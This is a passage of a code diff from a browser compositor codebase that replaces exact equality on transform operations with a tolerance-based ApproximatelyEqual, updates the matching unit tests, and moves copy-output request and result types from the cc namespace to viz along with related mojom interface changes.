     case TransformOperation::TRANSFORM_OPERATION_PERSPECTIVE:
-      return perspective_depth == other.perspective_depth;
+      return MathUtil::ApproximatelyEqual(perspective_depth,
+                                          other.perspective_depth, tolerance);
     case TransformOperation::TRANSFORM_OPERATION_MATRIX:
+      // TODO(vollick): we could expose a tolerance on gfx::Transform, but it's
+      // complex since we need a different tolerance per component. Driving this
+      // with a single tolerance will take some care. For now, we will check
+      // exact equality where the tolerance is 0.0f, otherwise we will use the
+      // unparameterized version of gfx::Transform::ApproximatelyEqual.
+      if (tolerance == 0.0f)
+        return matrix == other.matrix;
+      else
+        return matrix.ApproximatelyEqual(other.matrix);
     case TransformOperation::TRANSFORM_OPERATION_IDENTITY:
-      return matrix == other.matrix;
+      return other.matrix.IsIdentity();
   }
   NOTREACHED();
   return false;
 }
 
-bool TransformOperation::operator!=(const TransformOperation& other) const {
-  return !(*this == other);
-}
-
 bool TransformOperation::BlendTransformOperations(
     const TransformOperation* from,
     const TransformOperation* to,
diff --git a/cc/animation/transform_operation.h b/cc/animation/transform_operation.h
index 477e6493..2d19586 100644
--- a/cc/animation/transform_operation.h
+++ b/cc/animation/transform_operation.h
@@ -59,8 +59,8 @@
   // Sets |matrix| based on type and the union values.
   void Bake();
 
-  bool operator==(const TransformOperation& other) const;
-  bool operator!=(const TransformOperation& other) const;
+  bool ApproximatelyEqual(const TransformOperation& other,
+                          SkMScalar tolerance) const;
 
   static bool BlendTransformOperations(const TransformOperation* from,
                                        const TransformOperation* to,
diff --git a/cc/animation/transform_operations.cc b/cc/animation/transform_operations.cc
index 65027f6..309b4c8 100644
--- a/cc/animation/transform_operations.cc
+++ b/cc/animation/transform_operations.cc
@@ -289,20 +289,17 @@
   return true;
 }
 
-bool TransformOperations::operator==(const TransformOperations& other) const {
+bool TransformOperations::ApproximatelyEqual(const TransformOperations& other,
+                                             SkMScalar tolerance) const {
   if (size() != other.size())
     return false;
   for (size_t i = 0; i < operations_.size(); ++i) {
-    if (operations_[i] != other.operations_[i])
+    if (!operations_[i].ApproximatelyEqual(other.operations_[i], tolerance))
       return false;
   }
   return true;
 }
 
-bool TransformOperations::operator!=(const TransformOperations& other) const {
-  return !(*this == other);
-}
-
 bool TransformOperations::BlendInternal(const TransformOperations& from,
                                         SkMScalar progress,
                                         TransformOperations* result) const {
diff --git a/cc/animation/transform_operations.h b/cc/animation/transform_operations.h
index ce618be..b74ddac 100644
--- a/cc/animation/transform_operations.h
+++ b/cc/animation/transform_operations.h
@@ -102,8 +102,8 @@
     return operations_[index];
   }
 
-  bool operator==(const TransformOperations& other) const;
-  bool operator!=(const TransformOperations& other) const;
+  bool ApproximatelyEqual(const TransformOperations& other,
+                          SkMScalar tolerance) const;
 
  private:
   bool BlendInternal(const TransformOperations& from,
diff --git a/cc/animation/transform_operations_unittest.cc b/cc/animation/transform_operations_unittest.cc
index 24e7118..ca4c1e5 100644
--- a/cc/animation/transform_operations_unittest.cc
+++ b/cc/animation/transform_operations_unittest.cc
@@ -1589,12 +1589,14 @@
   EXPECT_EQ(2.f, scale);
 }
 
-TEST(TransformOperationsTest, Equality) {
+TEST(TransformOperationsTest, ApproximateEquality) {
+  float noise = 1e-7f;
+  float tolerance = 1e-5f;
   TransformOperations lhs;
   TransformOperations rhs;
 
   // Empty lists of operations are trivially equal.
-  EXPECT_EQ(lhs, rhs);
+  EXPECT_TRUE(lhs.ApproximatelyEqual(rhs, tolerance));
 
   rhs.AppendIdentity();
   rhs.AppendTranslate(0, 0, 0);
@@ -1605,40 +1607,52 @@
 
   // Even though both lists operations are effectively the identity matrix, rhs
   // has a different number of operations and is therefore different.
-  EXPECT_NE(lhs, rhs);
+  EXPECT_FALSE(lhs.ApproximatelyEqual(rhs, tolerance));
 
   rhs.AppendPerspective(800);
 
   // Assignment should produce equal lists of operations.
   lhs = rhs;
-  EXPECT_EQ(lhs, rhs);
+  EXPECT_TRUE(lhs.ApproximatelyEqual(rhs, tolerance));
 
   // Cannot affect identity operations.
   lhs.at(0).translate.x = 1;
-  EXPECT_EQ(lhs, rhs);
+  EXPECT_TRUE(lhs.ApproximatelyEqual(rhs, tolerance));
 
-  lhs.at(1).translate.x = 1;
-  EXPECT_NE(lhs, rhs);
+  lhs.at(1).translate.x += noise;
+  EXPECT_TRUE(lhs.ApproximatelyEqual(rhs, tolerance));
+  lhs.at(1).translate.x += 1;
+  EXPECT_FALSE(lhs.ApproximatelyEqual(rhs, tolerance));
 
   lhs = rhs;
+  lhs.at(2).rotate.angle += noise;
+  EXPECT_TRUE(lhs.ApproximatelyEqual(rhs, tolerance));
   lhs.at(2).rotate.angle = 1;
-  EXPECT_NE(lhs, rhs);
+  EXPECT_FALSE(lhs.ApproximatelyEqual(rhs, tolerance));
 
   lhs = rhs;
-  lhs.at(3).scale.x = 2;
-  EXPECT_NE(lhs, rhs);
+  lhs.at(3).scale.x += noise;
+  EXPECT_TRUE(lhs.ApproximatelyEqual(rhs, tolerance));
+  lhs.at(3).scale.x += 1;
+  EXPECT_FALSE(lhs.ApproximatelyEqual(rhs, tolerance));
 
   lhs = rhs;
+  lhs.at(4).skew.x += noise;
+  EXPECT_TRUE(lhs.ApproximatelyEqual(rhs, tolerance));
   lhs.at(4).skew.x = 2;
-  EXPECT_NE(lhs, rhs);
+  EXPECT_FALSE(lhs.ApproximatelyEqual(rhs, tolerance));
 
   lhs = rhs;
+  lhs.at(5).matrix.Translate3d(noise, 0, 0);
+  EXPECT_TRUE(lhs.ApproximatelyEqual(rhs, tolerance));
   lhs.at(5).matrix.Translate3d(1, 1, 1);
-  EXPECT_NE(lhs, rhs);
+  EXPECT_FALSE(lhs.ApproximatelyEqual(rhs, tolerance));
 
   lhs = rhs;
+  lhs.at(6).perspective_depth += noise;
+  EXPECT_TRUE(lhs.ApproximatelyEqual(rhs, tolerance));
   lhs.at(6).perspective_depth = 801;
-  EXPECT_NE(lhs, rhs);
+  EXPECT_FALSE(lhs.ApproximatelyEqual(rhs, tolerance));
 }
 
 }  // namespace
diff --git a/cc/base/math_util.h b/cc/base/math_util.h
index dd3dd89..d455b83 100644
--- a/cc/base/math_util.h
+++ b/cc/base/math_util.h
@@ -161,6 +161,12 @@
   }
 
   template <typename T>
+  static bool ApproximatelyEqual(T lhs, T rhs, T tolerance) {
+    DCHECK_LE(0, tolerance);
+    return std::abs(rhs - lhs) <= tolerance;
+  }
+
+  template <typename T>
   static bool IsWithinEpsilon(T a, T b) {
     return std::abs(a - b) < std::numeric_limits<T>::epsilon();
   }
diff --git a/cc/benchmarks/rasterize_and_record_benchmark_impl.cc b/cc/benchmarks/rasterize_and_record_benchmark_impl.cc
index 3052425..00e3ade 100644
--- a/cc/benchmarks/rasterize_and_record_benchmark_impl.cc
+++ b/cc/benchmarks/rasterize_and_record_benchmark_impl.cc
@@ -13,6 +13,7 @@
 #include "cc/base/lap_timer.h"
 #include "cc/layers/layer_impl.h"
 #include "cc/layers/picture_layer_impl.h"
+#include "cc/raster/playback_image_provider.h"
 #include "cc/raster/raster_buffer_provider.h"
 #include "cc/trees/layer_tree_host_common.h"
 #include "cc/trees/layer_tree_host_impl.h"
@@ -27,6 +28,7 @@
 const int kDefaultRasterizeRepeatCount = 100;
 
 void RunBenchmark(RasterSource* raster_source,
+                  ImageDecodeCache* image_decode_cache,
                   const gfx::Rect& content_rect,
                   float contents_scale,
                   size_t repeat_count,
@@ -55,10 +57,15 @@
       bitmap.allocPixels(SkImageInfo::MakeN32Premul(content_rect.width(),
                                                     content_rect.height()));
       SkCanvas canvas(bitmap);
+
+      PlaybackImageProvider image_provider(
+          false, PaintImageIdFlatSet(), image_decode_cache, gfx::ColorSpace());
+      RasterSource::PlaybackSettings settings;
+      settings.image_provider = &image_provider;
+
       raster_source->PlaybackToCanvas(
           &canvas, gfx::ColorSpace(), content_rect, content_rect,
-          gfx::AxisTransform2d(contents_scale, gfx::Vector2dF()),
-          RasterSource::PlaybackSettings());
+          gfx::AxisTransform2d(contents_scale, gfx::Vector2dF()), settings);
 
       timer.NextLap();
     } while (!timer.HasTimeLimitExpired());
@@ -195,8 +202,9 @@
 
     base::TimeDelta min_time;
     bool is_solid_color = false;
-    RunBenchmark(raster_source, content_rect, contents_scale,
-                 rasterize_repeat_count_, &min_time, &is_solid_color);
+    RunBenchmark(raster_source, layer->layer_tree_impl()->image_decode_cache(),
+                 content_rect, contents_scale, rasterize_repeat_count_,
+                 &min_time, &is_solid_color);
 
     int tile_size = content_rect.width() * content_rect.height();
     if (layer->contents_opaque())
diff --git a/cc/input/scroller_size_metrics.h b/cc/input/scroller_size_metrics.h
index c805934..dfa04d3a 100644
--- a/cc/input/scroller_size_metrics.h
+++ b/cc/input/scroller_size_metrics.h
@@ -15,6 +15,10 @@
 static constexpr int kScrollerSizeLargestBucket = 200000;
 static constexpr int kScrollerSizeBucketCount = 50;
 
+// Use the two constants to record GPU memory for tilings. Any layer that
+// costs more than ~1GB will get capped.
+static constexpr int kGPUMemoryForTilingsLargestBucketKb = 1000000;
+static constexpr int kGPUMemoryForTilingsBucketCount = 50;
 }  // namespace cc
 
 #endif  // CC_INPUT_SCROLLER_SIZE_METRICS_H_
diff --git a/cc/ipc/compositor_frame_sink.mojom b/cc/ipc/compositor_frame_sink.mojom
index d8c2c7c..b34cec2 100644
--- a/cc/ipc/compositor_frame_sink.mojom
+++ b/cc/ipc/compositor_frame_sink.mojom
@@ -59,18 +59,3 @@
   // Returns resources sent to SubmitCompositorFrame to be reused or freed.
   ReclaimResources(array<ReturnedResource> resources);
 };
-
-// CompositorFrameSinkPrivate connects the host process to viz and allows the
-// host process to perform priviledged operations for a CompositorFrameSink such
-// as add CopyOutputRequests. The corresponding CompositorFrameSink pipe will be
-// closed when this pipe is closed.
-interface CompositorFrameSinkPrivate {
-  // Claims this FrameSinkId will embed |surface_id| so it should own the
-  // temporary reference to |surface_id|.
-  ClaimTemporaryReference(SurfaceId surface_id);
-
-  // Requests that the renderer send back a copy of the surface that this
-  // CompositorFrameSink submits to. The result can be in form of a bitmap
-  // or a texture. See cc::CopyOutputRequest.
-  RequestCopyOfSurface(cc.mojom.CopyOutputRequest request);
-};
diff --git a/cc/ipc/copy_output_request.typemap b/cc/ipc/copy_output_request.typemap
index 90c7d7c..b64f3da 100644
--- a/cc/ipc/copy_output_request.typemap
+++ b/cc/ipc/copy_output_request.typemap
@@ -3,9 +3,9 @@
 # found in the LICENSE file.
 
 mojom = "//cc/ipc/copy_output_request.mojom"
-public_headers = [ "//cc/output/copy_output_request.h" ]
+public_headers = [ "//components/viz/common/quads/copy_output_request.h" ]
 traits_headers = [ "//cc/ipc/copy_output_request_struct_traits.h" ]
 sources = [
   "copy_output_request_struct_traits.cc",
 ]
-type_mappings = [ "cc.mojom.CopyOutputRequest=std::unique_ptr<cc::CopyOutputRequest>[move_only]" ]
+type_mappings = [ "cc.mojom.CopyOutputRequest=std::unique_ptr<viz::CopyOutputRequest>[move_only]" ]
diff --git a/cc/ipc/copy_output_request_struct_traits.cc b/cc/ipc/copy_output_request_struct_traits.cc
index 93fcacdc..889d962 100644
--- a/cc/ipc/copy_output_request_struct_traits.cc
+++ b/cc/ipc/copy_output_request_struct_traits.cc
@@ -17,7 +17,7 @@
 class CopyOutputResultSenderImpl : public cc::mojom::CopyOutputResultSender {
  public:
   CopyOutputResultSenderImpl(
-      cc::CopyOutputRequest::CopyOutputRequestCallback result_callback)
+      viz::CopyOutputRequest::CopyOutputRequestCallback result_callback)
       : result_callback_(std::move(result_callback)) {
     DCHECK(result_callback_);
   }
@@ -25,23 +25,23 @@
   ~CopyOutputResultSenderImpl() override {
     if (result_callback_) {
       std::move(result_callback_)
-          .Run(cc::CopyOutputResult::CreateEmptyResult());
+          .Run(viz::CopyOutputResult::CreateEmptyResult());
     }
   }
 
   // mojom::TextureMailboxReleaser implementation:
-  void SendResult(std::unique_ptr<cc::CopyOutputResult> result) override {
+  void SendResult(std::unique_ptr<viz::CopyOutputResult> result) override {
     if (!result_callback_)
       return;
     std::move(result_callback_).Run(std::move(result));
   }
 
  private:
-  cc::CopyOutputRequest::CopyOutputRequestCallback result_callback_;
+  viz::CopyOutputRequest::CopyOutputRequestCallback result_callback_;
 };
 
 void SendResult(cc::mojom::CopyOutputResultSenderPtr ptr,
-                std::unique_ptr<cc::CopyOutputResult> result) {
+                std::unique_ptr<viz::CopyOutputResult> result) {
   ptr->SendResult(std::move(result));
 }
 
@@ -52,8 +52,8 @@
 // static
 cc::mojom::CopyOutputResultSenderPtr
 StructTraits<cc::mojom::CopyOutputRequestDataView,
-             std::unique_ptr<cc::CopyOutputRequest>>::
-    result_sender(const std::unique_ptr<cc::CopyOutputRequest>& request) {
+             std::unique_ptr<viz::CopyOutputRequest>>::
+    result_sender(const std::unique_ptr<viz::CopyOutputRequest>& request) {
   cc::mojom::CopyOutputResultSenderPtr result_sender;
   auto impl = base::MakeUnique<CopyOutputResultSenderImpl>(
       std::move(request->result_callback_));
@@ -63,10 +63,10 @@
 
 // static
 bool StructTraits<cc::mojom::CopyOutputRequestDataView,
-                  std::unique_ptr<cc::CopyOutputRequest>>::
+                  std::unique_ptr<viz::CopyOutputRequest>>::
     Read(cc::mojom::CopyOutputRequestDataView data,
-         std::unique_ptr<cc::CopyOutputRequest>* out_p) {
-  auto request = cc::CopyOutputRequest::CreateEmptyRequest();
+         std::unique_ptr<viz::CopyOutputRequest>* out_p) {
+  auto request = viz::CopyOutputRequest::CreateEmptyRequest();
 
   request->force_bitmap_result_ = data.force_bitmap_result();
 
diff --git a/cc/ipc/copy_output_request_struct_traits.h b/cc/ipc/copy_output_request_struct_traits.h
index 4e96b7e..f573243e 100644
--- a/cc/ipc/copy_output_request_struct_traits.h
+++ b/cc/ipc/copy_output_request_struct_traits.h
@@ -7,7 +7,7 @@
 
 #include "cc/ipc/copy_output_request.mojom.h"
 #include "cc/ipc/texture_mailbox_struct_traits.h"
-#include "cc/output/copy_output_request.h"
+#include "components/viz/common/quads/copy_output_request.h"
 #include "mojo/common/common_custom_types_struct_traits.h"
 #include "ui/gfx/geometry/mojo/geometry_struct_traits.h"
 
@@ -15,32 +15,32 @@
 
 template <>
 struct StructTraits<cc::mojom::CopyOutputRequestDataView,
-                    std::unique_ptr<cc::CopyOutputRequest>> {
+                    std::unique_ptr<viz::CopyOutputRequest>> {
   static const base::Optional<base::UnguessableToken>& source(
-      const std::unique_ptr<cc::CopyOutputRequest>& request) {
+      const std::unique_ptr<viz::CopyOutputRequest>& request) {
     return request->source_;
   }
 
   static bool force_bitmap_result(
-      const std::unique_ptr<cc::CopyOutputRequest>& request) {
+      const std::unique_ptr<viz::CopyOutputRequest>& request) {
     return request->force_bitmap_result_;
   }
 
   static const base::Optional<gfx::Rect>& area(
-      const std::unique_ptr<cc::CopyOutputRequest>& request) {
+      const std::unique_ptr<viz::CopyOutputRequest>& request) {
     return request->area_;
   }
 
   static const base::Optional<viz::TextureMailbox>& texture_mailbox(
-      const std::unique_ptr<cc::CopyOutputRequest>& request) {
+      const std::unique_ptr<viz::CopyOutputRequest>& request) {
     return request->texture_mailbox_;
   }
 
   static cc::mojom::CopyOutputResultSenderPtr result_sender(
-      const std::unique_ptr<cc::CopyOutputRequest>& request);
+      const std::unique_ptr<viz::CopyOutputRequest>& request);
 
   static bool Read(cc::mojom::CopyOutputRequestDataView data,
-                   std::unique_ptr<cc::CopyOutputRequest>* out_p);
+                   std::unique_ptr<viz::CopyOutputRequest>* out_p);
 };
 
 }  // namespace mojo
diff --git a/cc/ipc/copy_output_result.typemap b/cc/ipc/copy_output_result.typemap
index 1d75c42..39aa840 100644
--- a/cc/ipc/copy_output_result.typemap
+++ b/cc/ipc/copy_output_result.typemap
@@ -3,13 +3,14 @@
 # found in the LICENSE file.
 
 mojom = "//cc/ipc/copy_output_result.mojom"
-public_headers = [ "//cc/output/copy_output_result.h" ]
+public_headers = [ "//components/viz/common/quads/copy_output_result.h" ]
 traits_headers = [ "//cc/ipc/copy_output_result_struct_traits.h" ]
 public_deps = [
   "//cc",
+  "//components/viz/common",
   "//skia/public/interfaces:struct_traits",
 ]
 sources = [
   "copy_output_result_struct_traits.cc",
 ]
-type_mappings = [ "cc.mojom.CopyOutputResult=std::unique_ptr<cc::CopyOutputResult>[move_only]" ]
+type_mappings = [ "cc.mojom.CopyOutputResult=std::unique_ptr<viz::CopyOutputResult>[move_only]" ]
diff --git a/cc/ipc/copy_output_result_struct_traits.cc b/cc/ipc/copy_output_result_struct_traits.cc
index e4ae70d..f6480c8 100644
--- a/cc/ipc/copy_output_result_struct_traits.cc
+++ b/cc/ipc/copy_output_result_struct_traits.cc
@@ -17,7 +17,7 @@
 class TextureMailboxReleaserImpl : public cc::mojom::TextureMailboxReleaser {
  public:
   TextureMailboxReleaserImpl(
-      std::unique_ptr<cc::SingleReleaseCallback> release_callback)
+      std::unique_ptr<viz::SingleReleaseCallback> release_callback)
       : release_callback_(std::move(release_callback)) {
     DCHECK(release_callback_);
   }
@@ -38,7 +38,7 @@
   }
 
  private:
-  std::unique_ptr<cc::SingleReleaseCallback> release_callback_;
+  std::unique_ptr<viz::SingleReleaseCallback> release_callback_;
 };
 
 void Release(cc::mojom::TextureMailboxReleaserPtr ptr,
@@ -53,8 +53,8 @@
 
 // static
 const SkBitmap& StructTraits<cc::mojom::CopyOutputResultDataView,
-                             std::unique_ptr<cc::CopyOutputResult>>::
-    bitmap(const std::unique_ptr<cc::CopyOutputResult>& result) {
+                             std::unique_ptr<viz::CopyOutputResult>>::
+    bitmap(const std::unique_ptr<viz::CopyOutputResult>& result) {
   static SkBitmap* null_bitmap = new SkBitmap();
   if (!result->bitmap_)
     return *null_bitmap;
@@ -64,8 +64,8 @@
 // static
 cc::mojom::TextureMailboxReleaserPtr
 StructTraits<cc::mojom::CopyOutputResultDataView,
-             std::unique_ptr<cc::CopyOutputResult>>::
-    releaser(const std::unique_ptr<cc::CopyOutputResult>& result) {
+             std::unique_ptr<viz::CopyOutputResult>>::
+    releaser(const std::unique_ptr<viz::CopyOutputResult>& result) {
   if (!result->release_callback_)
     return {};
   cc::mojom::TextureMailboxReleaserPtr releaser;
@@ -77,15 +77,15 @@
 
 // static
 bool StructTraits<cc::mojom::CopyOutputResultDataView,
-                  std::unique_ptr<cc::CopyOutputResult>>::
+                  std::unique_ptr<viz::CopyOutputResult>>::
     Read(cc::mojom::CopyOutputResultDataView data,
-         std::unique_ptr<cc::CopyOutputResult>* out_p) {
+         std::unique_ptr<viz::CopyOutputResult>* out_p) {
   // We first read into local variables and then call the appropriate
-  // constructor of cc::CopyOutputResult.
+  // constructor of viz::CopyOutputResult.
   gfx::Size size;
   auto bitmap = base::MakeUnique<SkBitmap>();
   viz::TextureMailbox texture_mailbox;
-  std::unique_ptr<cc::SingleReleaseCallback> release_callback;
+  std::unique_ptr<viz::SingleReleaseCallback> release_callback;
 
   if (!data.ReadSize(&size))
     return false;
@@ -100,14 +100,14 @@
   if (releaser) {
     // CopyOutputResult does not have a TextureMailboxReleaserPtr member.
     // We use base::Bind to turn TextureMailboxReleaser::Release into a
-    // ReleaseCallback.
-    release_callback = cc::SingleReleaseCallback::Create(
+    // viz::ReleaseCallback.
+    release_callback = viz::SingleReleaseCallback::Create(
         base::Bind(Release, base::Passed(&releaser)));
   }
 
   // Empty result.
   if (bitmap->isNull() && !texture_mailbox.IsTexture()) {
-    *out_p = cc::CopyOutputResult::CreateEmptyResult();
+    *out_p = viz::CopyOutputResult::CreateEmptyResult();
     return true;
   }
 
@@ -116,7 +116,7 @@
     // We can't have both a bitmap and a texture.
     if (texture_mailbox.IsTexture())
       return false;
-    *out_p = cc::CopyOutputResult::CreateBitmapResult(std::move(bitmap));
+    *out_p = viz::CopyOutputResult::CreateBitmapResult(std::move(bitmap));
     return true;
   }
 
@@ -126,7 +126,7 @@
     return false;
   if (!release_callback)
     return false;
-  *out_p = cc::CopyOutputResult::CreateTextureResult(
+  *out_p = viz::CopyOutputResult::CreateTextureResult(
       size, texture_mailbox, std::move(release_callback));
   return true;
 }
diff --git a/cc/ipc/copy_output_result_struct_traits.h b/cc/ipc/copy_output_result_struct_traits.h
index edfa604..8ada87c 100644
--- a/cc/ipc/copy_output_result_struct_traits.h
+++ b/cc/ipc/copy_output_result_struct_traits.h
@@ -8,7 +8,7 @@
 #include "cc/ipc/copy_output_result.mojom-shared.h"
 #include "cc/ipc/texture_mailbox_releaser.mojom.h"
 #include "cc/ipc/texture_mailbox_struct_traits.h"
-#include "cc/output/copy_output_result.h"
+#include "components/viz/common/quads/copy_output_result.h"
 #include "skia/public/interfaces/bitmap_skbitmap_struct_traits.h"
 #include "ui/gfx/geometry/mojo/geometry_struct_traits.h"
 
@@ -16,25 +16,25 @@
 
 template <>
 struct StructTraits<cc::mojom::CopyOutputResultDataView,
-                    std::unique_ptr<cc::CopyOutputResult>> {
+                    std::unique_ptr<viz::CopyOutputResult>> {
   static const gfx::Size& size(
-      const std::unique_ptr<cc::CopyOutputResult>& result) {
+      const std::unique_ptr<viz::CopyOutputResult>& result) {
     return result->size_;
   }
 
   static const SkBitmap& bitmap(
-      const std::unique_ptr<cc::CopyOutputResult>& result);
+      const std::unique_ptr<viz::CopyOutputResult>& result);
 
   static const viz::TextureMailbox& texture_mailbox(
-      const std::unique_ptr<cc::CopyOutputResult>& result) {
+      const std::unique_ptr<viz::CopyOutputResult>& result) {
     return result->texture_mailbox_;
   }
 
   static cc::mojom::TextureMailboxReleaserPtr releaser(
-      const std::unique_ptr<cc::CopyOutputResult>& result);
+      const std::unique_ptr<viz::CopyOutputResult>& result);
 
   static bool Read(cc::mojom::CopyOutputResultDataView data,
-                   std::unique_ptr<cc::CopyOutputResult>* out_p);
+                   std::unique_ptr<viz::CopyOutputResult>* out_p);
 };
 
 }  // namespace mojo
diff --git a/cc/ipc/frame_sink_manager.mojom b/cc/ipc/frame_sink_manager.mojom
index 15e2049..01b9e4a6 100644
--- a/cc/ipc/frame_sink_manager.mojom
+++ b/cc/ipc/frame_sink_manager.mojom
@@ -39,6 +39,16 @@
 // frame sink manager host which will forward the request to the frame sink
 // manager.
 interface FrameSinkManager {
+  // Registers |frame_sink_id| will be used. This must be called before
+  // Create(Root)CompositorFrameSink() is called.
+  RegisterFrameSinkId(cc.mojom.FrameSinkId frame_sink_id);
+
+  // Invalidates |frame_sink_id| which cleans up any unsatisified surface
+  // sequences or dangling temporary references assigned to it. If there is a
+  // CompositorFrameSink for |frame_sink_id| then it will be destroyed and the
+  // message pipe to the client will be closed.
+  InvalidateFrameSinkId(cc.mojom.FrameSinkId frame_sink_id);
+
   // Create a CompositorFrameSink for a privileged client (e.g. WindowServer).
   // This is only used by privileged clients. The client can call methods that
   // talks to the Display (e.g. ResizeDisplay(), SetDisplayVisible(), etc)
@@ -46,7 +56,6 @@
       cc.mojom.FrameSinkId frame_sink_id,
       gpu.mojom.SurfaceHandle widget,
       associated cc.mojom.CompositorFrameSink& compositor_frame_sink,
-      cc.mojom.CompositorFrameSinkPrivate& compositor_frame_sink_private,
       cc.mojom.CompositorFrameSinkClient compositor_frame_sink_client,
       associated DisplayPrivate& display_private);
 
@@ -56,7 +65,6 @@
   CreateCompositorFrameSink(
       cc.mojom.FrameSinkId frame_sink_id,
       cc.mojom.CompositorFrameSink& compositor_frame_sink,
-      cc.mojom.CompositorFrameSinkPrivate& compositor_frame_sink_private,
       cc.mojom.CompositorFrameSinkClient compositor_frame_sink_client);
 
   // Set up a BeginFrame relationship between two FrameSinkIds. In this case,
@@ -69,6 +77,12 @@
   UnregisterFrameSinkHierarchy(cc.mojom.FrameSinkId parent_frame_sink_id,
                                cc.mojom.FrameSinkId child_frame_sink_id);
 
+  // Assigns the temporary reference for |surface_id| to FrameSinkId |owner|.
+  // If |owner| is invalidated before it converts the temporary reference to a
+  // surface reference then the temporary reference will be dropped.
+  AssignTemporaryReference(cc.mojom.SurfaceId surface_id,
+                           cc.mojom.FrameSinkId owner);
+
   // Drops the temporary reference for |surface_id|. This will get called when
   // the FrameSinkManagerClient doesn't think |surface_id| will be embedded.
   DropTemporaryReference(cc.mojom.SurfaceId surface_id);
diff --git a/cc/ipc/struct_traits_unittest.cc b/cc/ipc/struct_traits_unittest.cc
index f78a9c6a..d35455e 100644
--- a/cc/ipc/struct_traits_unittest.cc
+++ b/cc/ipc/struct_traits_unittest.cc
@@ -9,7 +9,6 @@
 #include "cc/input/selection.h"
 #include "cc/ipc/copy_output_request_struct_traits.h"
 #include "cc/ipc/traits_test_service.mojom.h"
-#include "cc/output/copy_output_result.h"
 #include "cc/quads/debug_border_draw_quad.h"
 #include "cc/quads/render_pass.h"
 #include "cc/quads/render_pass_draw_quad.h"
@@ -18,6 +17,7 @@
 #include "cc/quads/surface_draw_quad.h"
 #include "cc/quads/texture_draw_quad.h"
 #include "cc/quads/yuv_video_draw_quad.h"
+#include "components/viz/common/quads/copy_output_result.h"
 #include "components/viz/test/begin_frame_args_test.h"
 #include "mojo/public/cpp/bindings/binding_set.h"
 #include "testing/gtest/include/gtest/gtest.h"
@@ -62,12 +62,12 @@
     std::move(callback).Run(std::move(c));
   }
 
-  void EchoCopyOutputRequest(std::unique_ptr<CopyOutputRequest> c,
+  void EchoCopyOutputRequest(std::unique_ptr<viz::CopyOutputRequest> c,
                              EchoCopyOutputRequestCallback callback) override {
     std::move(callback).Run(std::move(c));
   }
 
-  void EchoCopyOutputResult(std::unique_ptr<CopyOutputResult> c,
+  void EchoCopyOutputResult(std::unique_ptr<viz::CopyOutputResult> c,
                             EchoCopyOutputResultCallback callback) override {
     std::move(callback).Run(std::move(c));
   }
@@ -129,20 +129,20 @@
 
 void CopyOutputRequestCallback(base::Closure quit_closure,
                                gfx::Size expected_size,
-                               std::unique_ptr<CopyOutputResult> result) {
+                               std::unique_ptr<viz::CopyOutputResult> result) {
   EXPECT_EQ(expected_size, result->size());
   quit_closure.Run();
 }
 
 void CopyOutputRequestCallbackRunsOnceCallback(
     int* n_called,
-    std::unique_ptr<CopyOutputResult> result) {
+    std::unique_ptr<viz::CopyOutputResult> result) {
   ++*n_called;
 }
 
 void CopyOutputRequestMessagePipeBrokenCallback(
     base::Closure closure,
-    std::unique_ptr<CopyOutputResult> result) {
+    std::unique_ptr<viz::CopyOutputResult> result) {
   EXPECT_TRUE(result->IsEmpty());
   closure.Run();
 }
@@ -443,13 +443,13 @@
   auto bitmap = base::MakeUnique<SkBitmap>();
   bitmap->allocN32Pixels(size.width(), size.height());
   base::RunLoop run_loop;
-  std::unique_ptr<CopyOutputRequest> input =
-      CopyOutputRequest::CreateBitmapRequest(base::BindOnce(
+  std::unique_ptr<viz::CopyOutputRequest> input =
+      viz::CopyOutputRequest::CreateBitmapRequest(base::BindOnce(
           CopyOutputRequestCallback, run_loop.QuitClosure(), size));
   input->set_area(area);
   input->set_source(source);
   mojom::TraitsTestServicePtr proxy = GetTraitsTestProxy();
-  std::unique_ptr<CopyOutputRequest> output;
+  std::unique_ptr<viz::CopyOutputRequest> output;
   proxy->EchoCopyOutputRequest(std::move(input), &output);
 
   EXPECT_TRUE(output->force_bitmap_result());
@@ -471,13 +471,13 @@
   mailbox.SetName(mailbox_name);
   viz::TextureMailbox texture_mailbox(mailbox, gpu::SyncToken(), target);
   base::RunLoop run_loop;
-  std::unique_ptr<CopyOutputRequest> input =
-      CopyOutputRequest::CreateRequest(base::BindOnce(
+  std::unique_ptr<viz::CopyOutputRequest> input =
+      viz::CopyOutputRequest::CreateRequest(base::BindOnce(
           CopyOutputRequestCallback, run_loop.QuitClosure(), gfx::Size()));
   input->SetTextureMailbox(texture_mailbox);
 
   mojom::TraitsTestServicePtr proxy = GetTraitsTestProxy();
-  std::unique_ptr<CopyOutputRequest> output;
+  std::unique_ptr<viz::CopyOutputRequest> output;
   proxy->EchoCopyOutputRequest(std::move(input), &output);
 
   EXPECT_TRUE(output->has_texture_mailbox());
@@ -493,13 +493,13 @@
 
 TEST_F(StructTraitsTest, CopyOutputRequest_CallbackRunsOnce) {
   int n_called = 0;
-  auto request = CopyOutputRequest::CreateRequest(
+  auto request = viz::CopyOutputRequest::CreateRequest(
       base::BindOnce(CopyOutputRequestCallbackRunsOnceCallback, &n_called));
   auto result_sender = mojo::StructTraits<
       mojom::CopyOutputRequestDataView,
-      std::unique_ptr<CopyOutputRequest>>::result_sender(request);
+      std::unique_ptr<viz::CopyOutputRequest>>::result_sender(request);
   for (int i = 0; i < 10; i++)
-    result_sender->SendResult(CopyOutputResult::CreateEmptyResult());
+    result_sender->SendResult(viz::CopyOutputResult::CreateEmptyResult());
   EXPECT_EQ(0, n_called);
   result_sender.FlushForTesting();
   EXPECT_EQ(1, n_called);
@@ -507,14 +507,14 @@
 
 TEST_F(StructTraitsTest, CopyOutputRequest_MessagePipeBroken) {
   base::RunLoop run_loop;
-  auto request = CopyOutputRequest::CreateRequest(base::BindOnce(
+  auto request = viz::CopyOutputRequest::CreateRequest(base::BindOnce(
       CopyOutputRequestMessagePipeBrokenCallback, run_loop.QuitClosure()));
   auto result_sender = mojo::StructTraits<
       mojom::CopyOutputRequestDataView,
-      std::unique_ptr<CopyOutputRequest>>::result_sender(request);
+      std::unique_ptr<viz::CopyOutputRequest>>::result_sender(request);
   result_sender.reset();
-  // The callback must be called with an empty CopyOutputResult. If it's never
-  // called, this will never end and the test times out.
+  // The callback must be called with an empty viz::CopyOutputResult. If it's
+  // never called, this will never end and the test times out.
   run_loop.Run();
 }
 
@@ -525,11 +525,11 @@
   auto in_bitmap = base::MakeUnique<SkBitmap>();
   in_bitmap->allocN32Pixels(7, 8);
   in_bitmap->eraseARGB(123, 213, 77, 33);
-  auto input = CopyOutputResult::CreateBitmapResult(std::move(bitmap));
